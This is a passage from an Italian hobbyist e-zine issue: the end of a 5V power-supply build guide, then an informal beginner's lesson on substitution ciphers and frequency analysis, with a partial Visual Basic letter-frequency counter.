| condensatore, mettetelo da qualche altra parte e collegatelo con 2 |
| cavetti. |
| |
| adesso tocca al raddrizatore di tensione. |
| il 7805 è un integrato fatto così: |
| |
| +-----+ |
| | 0 | |
| |_____| pin 1. input |
| | | 2. massa |
| | | 3. output |
| +-----+ |
| H H H |
| U U U |
| |
| 1 2 3 |
| |
| come prima cosa, mettiamo all'integrato il diodo di protezione. |
| saldiamo il diodo 1N4001 tra il pin 1 e il pin 3. il diodo deve avere |
| il catodo (la parte contrassegnata con una stanghetta) rivolta al pin |
| 1, in questo modo (fig. 1): |
| |
| |
| +-----+ +-----+ |
| | 0 | | 0 | |
| |_____| |_____| |
| | | | | |
| | | | | |
| +-----+ +-----+ |
| H H H *-D-* |
| U U U U U U |
| | | |
| +|<-+ |
| |
| fig. 1 fig. 2 |
| |
| l'ideale sarebbe saldarlo appena sotto il contenitore plastico (fig. |
| 2) risparmiando parecchio spazio perchè far stare l'integrato 7805 all' |
| interno dell'involucro del trasformatore è un po' problematico. |
| il diodo di protezione non è strettamente necessario, però... |
| |
| la cosa migliore, prima di cominciare a saldare, è incollare |
| l'integrato, con un po' di loctite o colla a caldo, al posto del |
| vecchio condensatore, con la linguetta metallica che tocca con il |
| trasformatore. |
| una volta sistemato, passiamo a collegarlo al resto del circuito. |
| |
| |
| armiamoci di cavo e colleghiamo: |
| - il pin 1 con il + del condensatore da 470uF, sul retro dello stampato |
| - il pin 2 con il - del condensatore e con la massa del cavo d'uscita |
| - al pin 3 colleghiamo il segnale del cavo d'uscita |
| |
| quello che dovremmo avere è una cosa del genere |
| |
| |
| +---------------+ |
| | | |
| | | |
| | T | |
| | | |
| +---| -DDD- -DDD- |---+ |
| | +---------------+ | | |
| | -DDD- D | |
| | +CC+ / \ --- | | |
| +-|--|----+ +---------+ |
| | | |
| | +--> al pin 2 7805 |
| +-----> al pin 1 7805 |
| |
| |
| a questo punto, se avete collegato tutto correttamente, dovreste avere |
| un alimentatore da 5V prima di collegarlo alla rete elettrica, |
| verificate attentamente i collegamenti con il tester e controllate la |
| polarità del condensatore (hanno la particolarità di scoppiare se |
| collegati inversamente...) |
| |
| e questo è tutto... |
| |
| - bondo - |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #09 - 01/06/2003 |
| GUARDA GUARDA CHE Ti LEGG0 iL W0RD [Dagart] 0x17/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Autore: come sempre il vostro Dagart!! |
| Ore: d_tupreuednzuteeor__o (é o no un testo di introduzione alla |
| crittoanalisi?!?!) |
| Titolo: Guarda Guarda che ti leggo il Word - Lezione 1 (Prima Parte) - |
| Sostituzione |
| |
| Stavo giocando come al solito a Warcraft III (che palle sempre a |
| quello?!? E che ci volete fare!!! Per la cronaca: ho risolto il |
| problema [vedi lesson precedente]!!! Windows XP va in conflitto con la |
| mia scheda video e ho dovuto creare una partizione con Windows ME per |
| giocare 'FINALMENTE' in modo decente. Comunque ...) quando mi sono |
| detto: "Bah! Ho appena fatto una strage di elfi e mi accingo a fare |
| una piadina di orchi ... perchè non continuare a scrivere gli articoli |
| sulla crottografia ?!?! Magari riesco ad inserirlo sul numero di |
| ottobre!!!). |
| |
| Comunque ... tornando a noi ... nella lezione precedente (appunto la |
| lezione 0) abbiamo discusso la generalità della crottografia e della |
| crittoanalisi introducendo concetti come algoritmi biunivoci f(x), |
| complessità, reversibilità e via dicendo. |
| |
| Come descritto nel programma oggi parleremo della crittografia a |
| SOSTITUZIONE. In particolar modo la lezione sarà suddivisa in tre |
| grossi tronconi: |
| |
| Prima Parte -> Descrizione Generale dell'Algoritmo |
| Seconda Parte -> Analisi degli Algoritmi introdotti |
| Terza Parte -> Confronto Generale |
| |
| Detto ciò ... non possiamo fare altro che cominciare! Tiriamo su le |
| maniche ... facciamo un profondo respiro e ... immergiamoci in questo |
| pazzo mondo! |
| |
| P.S.: Molto spesso farò riferimento a descrizioni matematiche di |
| funzioni (generalmente sono nozioni che si imparano in un qualsiasi |
| corso di matematica di scuola superiore). Ad ogni modo, nel limite del |
| possibile (senza eludere dallo scopo del testo) cercherò di |
| semplificare e spiegare perlomeno le parti più astruse. Detto |
| ciò: "BUONA LETTURA!" :P |
| |
| **************************************************** |
| * Prima Parte: Descrizione Generale dell'Algoritmo * |
| **************************************************** |
| |
| Sebbene molti testi decidano di dividere la sostituzione in due grossi |
| tronconi, ovvero in sostituzione letterale (in relazione alla |
| sostituzione di una lettera con un'altra) e sostituzione algebrica |
| (dove ad ogni lettera è associato un valore il quale è sostituito, |
| seguendo una funzione di crittazione f(x), ad un altro che a sua volta |
| corrisponde al vero e proprio valore C di crittazione), in realtà |
| preferisco non effettuare alcuna distinzione in quanto entrambi |
| possono essere ricondotti al medesimo gruppo ... ovvero la |
| sostituzione algebrica. |
| |
| Se dovessimo rappresentare in modo molto semplice un algoritmo a |
| sostituzione potremo in realtà definirlo come "un algoritmo di |
| crittazione in grado di sostituire il carattere (o la lettera, o il |
| valore, o ... beh insomma quello che volete!) con un qualsiasi altro |
| differente dal primo seguendo un algoritmo reversibile". |
| |
| Quindi si definiscono algoritmi a sostituzione tutti gli algoritmi in |
| grado di associare ad una valore M un valore C secondo lo schema: |
| |
| M -- f(x) --> C |
| |
| dove f(x) è la funzione di crittazione a sostituzione. |
| |
| In particolar modo dalla definizione data possiamo dedurre che, per un |
| algoritmo a sostituzione, è necessario possedere: |
| |
| 1. Un CharSet (= set di caratteri utilizzabili) di caratteri a cui è |
| associato un valore univoco |
| 2. Una funzione di crittazione f(x) |
| |
| Tralasciando il primo punto, che mi sembra al quanto ovvio, possiamo |
| invece soffermarci sul punto 2 e constatare le caratteristiche che la |
| funzione di crittazione f(x) deve possedere. |
| |
| Poichè abbiamo precedentemente detto che ad ogni valore M è necessario |
| associare (utilizzando f(x)) un valore univoco C secondo lo schema M--f |
| (x)-->C possiamo facilmente constatare che la funzione alla base |
| dell'algoritmo deve necessariamente essere una funzione crescente (o |
| decrescente). Se infatti la funzione non fosse monotona crescente (o |
| decrescente) portemmo associare a più valore di M il medesimo valore C |
| che, come accennato nella lezione 0, non farebbero altro che ridurre |
| l'entropia del messaggio ma aumentando notevolmente la complessità del |
| sistema (a questo proposito spero, quando avrò tempo [sigh!], di |
| scrivere un articolo sull'entropia dell'informazione ...) e rendendo |
| quindi impossibile la decifrazione (anche conoscendo l'algoritmo di |
| crittazione e la chiave di cifratura). |
| |
| Secondo tale definizione allora ... possiamo solo usare come algoritmi |
| di cifratura a sostituzione tutte quelle funzioni (o parte di |
| funzioni) che in realtà possiedono per tutto il campo di definizione |
| (ovvero tutti i valori in entrata) una funzione monotona crescente (o |
| decrescente). |
| |
| Prendiamo ad esempio in considerazione la funzione elementare y = f(x) |
| = mx + q dove m e q sono le chiavi di cifratura, x (o M il che è li |
| stess!!) è il carattere in entrata da cifrare e y (o C ... stessa |
| solfa) è il carattere cifrato in uscita. |
| |
| Studiando la funzione f(x) scopriamo: |
| - se non conosciamo m e q (le chiavi dell'algoritmo) non possiamo |
| ricavare direttamente x da y. |
| - f(x) è una funzione reversibile (ovvero esiste una funziona f(x)^-1 |
| tale che dato y come carattere in entrata dia x come carattere in |
| uscita) |
| - f(x) dà sempre valori interi per x intero (quindi al charset deve |
| sempre essere associato un valore intero) |
| |
| Quindi la funzione y = f(x) = mx + q può essere utilizzata come |
| algoritmo di cifratura a sostituzione. |
| |
| Esempio: |
| |
| CharSet: [A..Z] = [1..26] |
| f(x): mx + q |
| m: 3 |
| q: 2 |
| |
| Frase non Cifrata: ALGORITMO A SOSTITUZIONE |
| |
| Cifratura ... |
| |
| A = 1 -- f(x) --> 05 |
| L = 12 -- f(x) --> 38 |
| G = 7 -- f(x) --> 23 |
| .. |
| |
| Frase Cifrata: 053823475629624147 05 594759622962658029474417 |
| |
| Prendiamo invece in esame la funzione y = f(x) = logaritmo in base B |
| di x (che da ora in poi verra scritta come log$b$(x) ) dove b è la |
| chiave di cifratura. |
| |
| Studiando la funzione f(x) scopriamo: |
| - solo conoscendo la chiave è possibile decifrarlo immediatamente |
| - è una funzione crescente monotona per x > 1 |
| - è una funzione reversibile |
| - non è quasi mai intera |
| |
| Sebbene a prima vista possa sembrare utilizzabile ... in realtà senza |
| particolari accirgimenti non è utilile come algoritmo: infatti questa |
| funzione non è quasi mai intera. Quindi, se volessimo utilizzare |
| valore interi per la cifratura ... dovremmo troncare i valori decimali |
| in uscita ottenendo in questo modo non più una funzione monotona ma |
| una funzione in cui i valori si ripetono. Se volessimo a tutti i costi |
| utilizzarla dovremmo preparare alcuni accorgimenti. Ad esempio |
| potremmo memorizzare come valore di cifratura il valore double (4 |
| byte) del decimale in uscita oppure potremmo moltiplicare il valore in |
| uscita per una costante z in modo tale da ottenere interi diversi per |
| ogni valore in entrata. Quindi ... sbizzaritevi! |
| |
| Quindi, generalizzando, possiamo utilizzare tutte le funzioni |
| polinomiali del tipo: |
| --> a(0)b^0 + a(1)b^1 + a(2)b^2 + ... + a(n)b^n |
| oppure tutte le funzioni monotone crescenti (o decrescenti) con gli |
| accorgimenti dovuti secondo il caso. |
| |
| Arrivati a questo punto non posso che dire di aver concluso la prima |
| parte e, l'unica cosa che mi rimane da fare, e accennare i modelli |
| generali di algotmi che utilizzano la cifratura per sostituzione. Tali |
| algoritmi si classificano in: |
| |
| * Cifratura a Sostituzione |
| --> Cifratura Lineare |
| --> Cifratura a funzione monotona crescente (o decrescente) |
| --> Sostituzione Semplice |
| (Algoritmo di Cesare) |
| --> Sostituzione a Charset Casuale |
| --> Sostituzione a Blocchi |
| (Algoritmo di Vigenère) |
| --> Cifratura in funzione della posizione |
| --> Cifratura a funzione Variabile |
| (Algoritmo FPos) |
| --> Cifratura con Algoritmo Enigma |
| (Seconda Parte) |
| --> Cifratura Semplice One-Time Pad |
| (Seconda Parte) |
| |
| Dopo questo bellissimo schema possiamo accingerci all'introduzione |
| della seconda parte che descrive in particolare tutti gli algoritmi |
| sopra citati. |
| |
| Quindi ... dopo una pausa di un'oretta che ora mi prenderò (magari |
| sorseggiando all'inglese un po' di te! :P) comincierò a scrivere la |
| seconda puntata dell'avvincente saga ... "GUARDA GUARDA CHE TI LEGGO |
| IL WORD"!!! |
| |
| ***************************************************** |
| * Parte Seconda: Analisi degli Algoritmi introdotti * |
| ***************************************************** |
| |
| Haloa Guys! Eccoci qui dopo la mia meritata pausa per ricominciare a |
| scrivere nuovamente e completare finalmente la lezione di oggi. |
| |
| Come precedentemente schematizzato e accennato, in questa sezione |
| verranno discusse le tecniche crittografiche che fanno uso |
| dell'algoritmo a sostituzione. |
| |
| Per coloro a cui piace un po' di storia possiamo dire che l'algoritmo |
| di cifrazione è uno degli algoritmi più vecchi al mondo: addirittura |
| lo stesso Cesare era dedito utilizzare un'algoritmo di cifrazione a |
| sostituzione per impartire i comandi alle proprie truppe in modo tale |
| che le informazioni non potessero essere scoperte dai nemici. |
| Successivamente gli algoritmi di cifratura a sostituzione vennero |
| utilizzati nei più disparati modi e nelle diverse epoche storiche: |
| nell'ottocento fu messo appunto un'algoritmo a blocchi (il cosiddetto |
| algoritmo di Vigenère) il quale fu considerato per diverso tempo |
| l'algoritmo a sostituzione più affidabile mentre durante la seconda |
| guerra mondiale veniva utilizzato per la trasmissione crittata di |
| informazione da parte dell'esercito tedesco di un algoritmo che |
| affidava la sua sicurezza all'utilizzo di un algoritmo di sostituzione |
| a funzione variabile ... |
| |
| Tuttavia, sebbene tutti questi illustri precedenti ... l'algoritmo a |
| sostituzione possiede un'enorme limitazione (che tratteremo |
| nell'ultima parte) che ne limita fortemente l'uso. |
| |
| Ad ogni modo ... bando alle ciance e cominciamo!! |
| |
| +--------------------------------------------+ |
| | Sostituzione Semplice: Algoritmo di Cesare | |
| +--------------------------------------------+ |
| |
| Probabilmente l'algoritmo a sostituzione semplice è uno dei più |
| semplici algoritmi esistenti al mondo ed è probabilmente uno dei primi |
| algoritmi di cifratura utilizzati nella storia (documentata!!) umana. |
| |
| L'algoritmo di cifratura semplice consiste nel sostituire ad una |
| lettera del CharSet iniziale una lettere che prende n posizioni |
| successive. Ovviamente, senza dimostrazioni ovvie, l'algoritmo di |
| cifratura possiede la seguente forma: |
| |
| f(x) = x + k |
| |
| dove x equivale al valore della lettera nel CharSet mentre k equivale |
| alla costante di spostamento all'interno del CharSet (la quale |
| diventerà ovviamente la nostra chiave di cifratura). In realtà, per |
| essere più precisi, l'algoritmo di cifratura ha la forma: |
| |
| f(x) = (x + k) mod m |
| |
| dove m è il valore massimo del CharSet (dove ovviamente si è posto |
| come valore più piccolo lo zero). |
| |
| Esempio: |
| |
| CharSet: [A..Z] = [0..25] |
| Frase: VENI VIDI VICI |
| Chiave: +3 |
| Frase Cifrata: YHQL YLGL YLFL |
| |
| Tralasciando per un momento l'analisi crittografica del sistema (che |
| tratteremo più approfonditamente nel prossimo algoritmo), possiamo |
| comunque notare l'ESTREMA DEBOLEZZA dell'algoritmo facendo |
| semplicemente un ragionamento per un eventuale attacco di tipo Brute- |
| Force. Prendiamo infatti in considerazione la chiave di cifratura: |
| essa non è nient'altro che un numero compreso tra 0 e 25 (certo: è un |
| idiota colui che non solo utilizza questo algoritmo ma che utilizza |
| anche come chiave il valore k=0, :P ). Di conseguenza, le possibili |
| combinazioni non sono che solo 25!!! Basterà quindi prendere una |
| porzione sola del testo (per non sovraccaricare la mente o la CPU), |
| provare tutte e 25 le combinazioni e verificare quale di queste darà |
| come risultato un testo comprensibile ... |
| |
| Per ottimizzare il sistema di crittoanalisi ed elevarlo dalla semplice |
| forza bruta possiamo utilizzare dei piccoli accorgimenti che |
| torneranno sempre utili in un'analisi crittografica: ad esempio, se il |
| testo è un testo in italiano, si possono provare n caratteri a caso e |
| verificare che questo non diano una lettera che solitamente non è |
| presente in un testo in italiano. Se ad esempio utilizzo la chive k=7 |
| mi accorgo che nel testo che sto cercando di decifrare la lettera J |
| compare 4 volte per 10 lettere prese a caso, vorra dire che MOOOOLTO |
| probabilmene tale chiave è errata e quindi può essere immediatamente |
| sostituita. Inoltre ... sapendo che ad ogni lettera corrisponde sempre |
| lo stesso alter ego, se in una frase vedete una lettera isolata e |
| staccata dalle altre (sempre se l'algoritmo non prevede l'eliminazione |
| degli spazi ma ... non preoccupatevi! C'è un rimedio anche a questo!) |
| non può che essere (sempre se consideriamo il testo in italiano) una |
| vocale (esclusa la u ... ovviamente). In tal caso ... le combonazioni |
| da provare scendono drasticamente a 4!!! |
| |
| Dopo queste rivelazioni viene spontaneo chiedersi ... "E' forse per |
| questo che Giulio Cesare perse?" |
| |
| +--------------------------------+ |
| | Sostituzione a Charset Casuale | |
| +--------------------------------+ |
| |
| Ora complichiamo un po' le cose: il primo algoritmo che vi ho |
| presentato era molto semplice per condiscenza dei Newbye che come me |
| (ai bei tempi addietro) devono cominciare ... ma! E' ora di cominciare |
| a trattare qualcosa di leggermente più difficile. |
| |
| Supponiamo infatti che la chiave non sia più il numero di traslazioni |
| all'interno del Charset ma che sia proprio il Charset! Per chiarire il |
| concetto prendiamo in considerazione la frase: |
| |
| Frase: DOMANI IL SOLE BRILLA |
| |
| (E' tardi ... lo so ... non chiedetemi esempi più Brillanti! d:) ) |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV |
| |
| Frase Cifrata: ODSQKT TL GDLE PHTLLQ |
| |
| Come si può facilmente vedere dalla chiave, l'algoritmo risulta essere |
| più complesso: infatti, se utilizzassimo un attacco del tipo Brute- |
| Force dovremmo tentare 26*25*24*...*3*2*1 che equivale a 26! |
| =403'291'461'126'605'635'584'000'000 combinazioni (ovvero un numero |
| dell'ordine di 10^26)!!! |
| |
| Ovviamente noi non siamo qui per utilizzare attachi Brute-Force ma per |
| cominciare a muovere i primi passi verso l'analisi crittografica. |
| |
| La debolezza dell'algortimo a sostituzione, che si percuote in tutte |
| le sue forme, è sempre la medesima: ovvero, il carattere in entrata M |
| equivale SEMPRE al carattere in uscita C. Nel nostro esempio, il |
| carattere A equivale nel testo SEMPRE al carattere Q: dom'A'ni |
| (ods'Q'kt), brill'A' (phtll'Q'), e così per tutte le altre lettere del |
| Charset. Quindi, in riferimenti alla grammatica della lingua (in |
| questo testo ovviamente mi riferiro alla grammatica italiana) si |
| possono notare dei piccoli particolari che faranno cedere l'algoritmo |
| rendendo facile il lavore del crittoanalista. Prendiamo in esame un |
| testo in cui gli spazi sono mantenuti (verranno trattati i testi in |
| cui anche lo spazio è o eliminato o sostituito un po' più avanti): |
| com'è facile osservare, la lingua italiana è piena di articoli la cui |
| lunghezza varia da 1 carattere (i), 2 caratteri (il, lo, la, le) e 3 |
| caratteri (gli) ed è inoltre stracolma di schifezzuole come |
| preposizioni, pronomi personali, ... di lunghezza medio bassa. |
| Tuttavia possiamo sicuramente affermare che gli articoli compaiono con |
| una frequenza maggiore. Sapendo che tal parola composta da due lettere |
| è SICURAMENTE un articolo è possibile cominciare a sostituire le |
| lettere corrispondenti all'articolo per tutto il testo. Procedendo |
| così a tentativi per tutto il testo è possibile, nel tempo massimo di |
| mezz'ora, risolvere un qualsiasi testo in questo modo cifrato. |
| |
| Per aiutare ulteriormente il crittoanalista vengono in aiuto le regole |
| di composizione delle parole: è infatti noto in ogni lingua una serie |
| di regole generali che giudano la formazione delle parola. Ad esempio |
| nella lingua italiana non comparirà MAI la parola shke in quanto |
| generalmente le parole della lingua italiana non si presentano in |
| questa forma (sebbene le eccezioni che confermano la regole ne |
| esistono aiosa!). Quindi, vocabolario italiano (o inglese, o quel |
| cavolo che volete!) alla mano, è possibile ricercare le regole |
| generali per la composizione delle parole. Siccome questa sera mi |
| sento particolarmente buono, scriverò le principali (ovvero in realtà |
| quelle che mi vengono in mente sul momento!): |
| |
| 1. La sillaba più lunga possiede al massimo 4 lettere |
| 2. Ogni sillaba possiede almeno 1 lettera |
| 3. Ogni sillaba finisce con una vocale |
| 4. La lettera H è sempre preceduta dalla lettera C o G e precede la |
| vocale E o I (tranne nel caso di HOTEL) |
| 5. Generalmente, se una parola è più lunga di quattro lettere finisce |
| quasi sempre con una vocale |
| 6. Salvo poche eccezioni, se una parala è più lunga di quattro lettere |
| inizia quasi sempre con una consonante |
| 7. Se la lettera R si trova in seconda o in penultima posizione è |
| SEMPRE preceduta da una consonante |
| 8. Dopo la lettera Q si trova sempre la lettera U |
| |
| Considerando questo leggi banali della grammatica italiana e |
| aiutandosi con gli articoli è SEMPRE (è dico SEMPRE) possibile |
| attacare un qualsiasi testo crittato nei modi precedentemente |
| descritti. |
| |
| Tutto questo bellissimo ragionamento ovviamente funziona se |
| consideriamo un algoritmo che non elimina gli spazi ma ... cosa |
| succederebbe se TUTTI gli spazi venissero eliminati??!? Beh... le cose |
| si complicherebbero un pochino (in quanto infatti non possiamo con |
| certezza suddivedere gli elementi di una frase in articoli, pronomi, |
| chissàchealtro, ...) ma ... siamo qui per questo!!! |
| |
| Prendiamo in esame la stessa frase di prima: |
| |
| Frase: DOMANI IL SOLE BRILLA |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV |
| |
| Frase Cifrata: ODSQKT TL GDLE PHTLLQ |
| Frase Cifrata senza Spazi: ODSQKTTLGDLEPHTLLQ |
| |
| E' ovvio che la decifratura della frase cifrata senza spazi comporta |
| la formazione di un messaggio in chiaro senza spazi (ricordate la |
| teoria dell'informazione...), quindi, come ad esempio, otterremo la |
| frase decifrata dal testo cifrato precedente: |
| |
| Frase Cifrata senza Spazi: ODSQKTTLGDLEPHTLLQ |
| Frase Decifrata: DOMANIILSOLEBRILLA |
| |
| ma, naturalmente, essendo un italiano leggibile è possibile capire |
| ugualmente il senso di una frase anche in assenza degli spazi. |
| |
| Tuttavia, se siete amanti della precisione, è possibile inserire nel |
| Charset 'anche' (non è detto che sia necessario) un carattere relativo |
| allo spazio. Quindi, considerando sempre l'esempio precedente: |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ_ |
| Chiave: QPWOEIRUTY_LSKDJFHGZMXNCBVA |
| |
| Frase: DOMANI_IL_SOLE_BRILLA (per semplicità ho sostituito lo spazio |
| con il carattere '_') |
| Frase Cifrata: ODSQKTATLAGDLEAPHTLLQ |
| |
| Tuttavia vedrete successivamente che è meglio evitare di codificare |
| anche lo spazio (se questo è possibile), soprattutto se utilizzate un |
| algoritmo a sostituzione. |
| |
| |
| Ovviamente arrivati a questo punto voi vi starete chiedendo: come |
| acciderbolina (?) comincio la crittoanalisi. Ma ... niente paura ... |
| ora tutto vi sarà rivelato! |
| |
| Prendiamo sempre in considerazione la precedente chiave cifrata (... e |
| che vi devo dire! Quando cambieremo la cifratura cambierò anche |
| l'esempio!!): |
| |
| Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV |
| |
| Frase: DOMANIILSOLEBRILLA |
| Frase Cifrata: ODSQKTTLGDLEPHTLLQ |
| |
| Se avete una vista aguzza noterete che esistono lettere che più di |
| altre si ripetono. In particolar modo notiamo che sono le vocali ad |
| avere una frequenza maggiore. Voi direte: "E' ovvio ... sono quelle |
| che necessariamente si ripetono più spesso!". Ma estendendo il |
| discorso ad un livello più generale possiamo afferemare che nella |
| lingua italiana (come del resto in ogni lingua) esistono lettere che |
| si ripetono più spesso di altre: ad esempio la vocale A e la vocale E |
| sono presenti quasi sempre in ogni parola mentre la vocale U si |
| presenta poche volte. Possiamo inoltre fare lo stesso ragionamento |
| anche alle consonanti: ad esempio le lettere S, L, P, R si presentano |
| con una fraquenza maggiore, ad esempio, delle consonanti H e Z. Tutto |
| questo può essere ulteriormente generalizzato utilizzando le |
| condizioni statistiche: infatti prendendo un testo standard (ovvero un |
| testo molto semplice non specialistico relativo alla lingua in |
| considerazione) è possibile affermare che la frequenza delle lettere |
| all'interno di quel testo è identica a qualsiasi altro testo standard. |
| In particolar modo possiamo ulteriormente afferemare che la frequenza |
| delle lettere risulta sempre più generale al crescere della dimensione |
| del testo standard. |
| |
| Quest'ultima afferemazione è semplice da verificare: infatti prendendo |
| un testo molto piccolo (magari 15 lettere) in qui è presente la |
| lettera H (ad esempio la frase: OGGI SONO IN HOTEL) sarebbe semplice |
| affermare che la lettera H possiede una frequenza del 1/15 % (ovvero |
| all'incirca del 7%) cosa del resto impossibile. Quindi, affinchè sia |
| possibile estendere il concetto di frequenza di un testo standard ad |
| altri testi standard, è necessario utilizzare testi di dimensioni |
| molto grandi (almeno di 10000 caraetteri esclusi gli spazi). |
| |
| Per poter andare avanti nella trattazione soffermiaci un momento |
| nell'analisi della frequenza di un testo standard, come ad esempio: |
| |
| TITOLO: Madame Bovary |
| AUTORE: Gustave Flaubert |
| TRADUZIONE: Bruno Oddera |
| DIRITTI D'AUTORE: Sì |
| FONTE: Liber Liber |
| CAPITOLO: IV |
| |
| E scandiamo il testo con un programma in grado di analizzare la |
| frequenza dei caratteri. Perchè mi sento buono oggi, vi scrivo un |
| breve programma in VB che permette di fare ciò. |
| |
| ---------------------------- Inizio Programma ------------------------- |
| --- |
| |
| '+------------+-------------+ |
| '| Componente | Name | |
| '+------------+-------------+ |
| '| Form | -> MainForm | |
| '+------------+-------------+ |
| '| | -> Entrata | |
| '| Button | -> Uscita | |
| '| | -> Elabora | |
| '+------------+-------------+ |
| '| Label | -> LEntrata | |
| '| | -> LUscita | |
| '+------------+-------------+ |
| ' |
| 'Il programma calcola la frequenza dei singoli caratteri (senza |
| distinzione tra |
| 'maiuscole e minuscole) tralasciando caratteri speciali e di |
| formattazione. |
| ' |
| 'L'algoritmo può essere ulteriormente implementato migliorando ad |
| esempio la funzione |
| 'di Ordinamento |
| |
| 'Program created by Dagart. |
| |
| Dim Frequenze(0 to 25, 0 to 1) as Integer |
| '[a..z] = [97..122] |
| '[A..Z] = [65..90] |
| Dim Totale as Long |
| |
| sub Form_Load() |
| |
| MainForm.Caption = "Analisi delle Frequenze di un testo" |
| Entrata.Caption = "File in Entrata" |
| Uscita.Caption = "File in Uscita" |
| Elabora.Caption = "Elabora il Testo" |
| LEntrata.Caption = "" |
| LUscita.Caption = "" |
| |
| end Sub |
| |
| sub Entrata_Click() |
| |
| LEntrata.Caption = InputBox("Inserisci il percorso ed il nome |
| completo del File di Origine...") |
| |
| end Sub |
| |
| sub Uscita_Click() |
| |
| LUscita.Caption = InputBox("Inserisci il percorso ed il nome |
| completo del File di Uscita...") |
| |
| end Sub |
| |
| sub Elabora_Click() |
| |
| dim Valore as Byte |
| |
| Inizializza |
| |
| Open LEntrata.Caption for Binary as #1 |
| |
| Do While Not EOF(1) |
| |
| get #1,,Valore |
| Calcola(Valore) |
| |
| Loop |
| |
| Close #1 |
| |
| Totale = 0 |
| For i = 0 To 25 |
| Totale = Totale + Frequenze(i) |
| Next i